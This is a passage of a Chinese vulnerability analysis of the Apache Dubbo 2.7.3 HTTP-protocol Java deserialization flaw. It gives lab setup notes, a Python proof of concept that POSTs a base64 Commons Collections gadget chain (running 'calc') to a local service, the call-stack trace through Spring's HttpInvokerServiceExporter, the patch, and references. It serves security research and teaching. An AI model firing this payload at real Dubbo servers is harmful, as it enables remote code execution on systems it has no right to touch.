模块,dubbo版本切换为2.7.3版本,并且加入cc组件依赖进行漏洞调试。
记得加上version 不然切换版本会报错。修改http-provider.xml的配置换一个端口非8080就行,这个端口被Zookeeper占了。
import requests
import base64
url = "http://127.0.0.1:8081/org.apache.dubbo.samples.http.api.DemoService"
payload = "rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AARjYWxjdAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg="
payload = base64.b64decode(payload)
headers = {"Content-Type": "application/x-java-serialized-object"}
res = requests.post(url,headers=headers,data=payload)
print(res.text)
在接收到http请求之后会调用DispatcherServlet#service
方法处理请求。
使用HttpInvokerServiceExporter
作为skeleton处理http请求
contentType是application/x-java-serialized-object
类型
直接跟进调用直接到RemoteInvocationSerializingExporter#doReadRemoteInvocation
方法,这里有个反序列化的点,进行java原生反序列化。
主体调用链如下:
doReadRemoteInvocation:144, RemoteInvocationSerializingExporter (org.springframework.remoting.rmi)
readRemoteInvocation:121, HttpInvokerServiceExporter (org.springframework.remoting.httpinvoker)
readRemoteInvocation:100, HttpInvokerServiceExporter (org.springframework.remoting.httpinvoker)
handleRequest:79, HttpInvokerServiceExporter (org.springframework.remoting.httpinvoker)
handle:216, HttpProtocol$InternalHandler (org.apache.dubbo.rpc.protocol.http)
service:61, DispatcherServlet (org.apache.dubbo.remoting.http.servlet)
service:790, HttpServlet (javax.servlet.http)
补丁
将Spring框架的HttpInvokerServiceExporter
类换成JsonRpcServer
类,实际调用的是其父类JsonRpcBasicServer.hanlde
方法,其中没有反序列化的危险操作,数据传输改用json 来完成。
参考
官方文档:Dubbo 开发指南
dubbo源码浅析:默认反序列化利用之hessian2
原创连载|Apache Dubbo 漏洞分析—Apache Dubbo 编解码原理详解
Dubbo 编解码那些事
Dubbo 源码分析
Hessian和Java反序列化问题小结
关于 Dubbo Hessian 反序列化的类不含无参构造函数的问题
Dubbo反序列化漏洞分析集合1
Dubbo2.7.7反序列化漏洞绕过分析
Apache-Dubbo-反序列化漏洞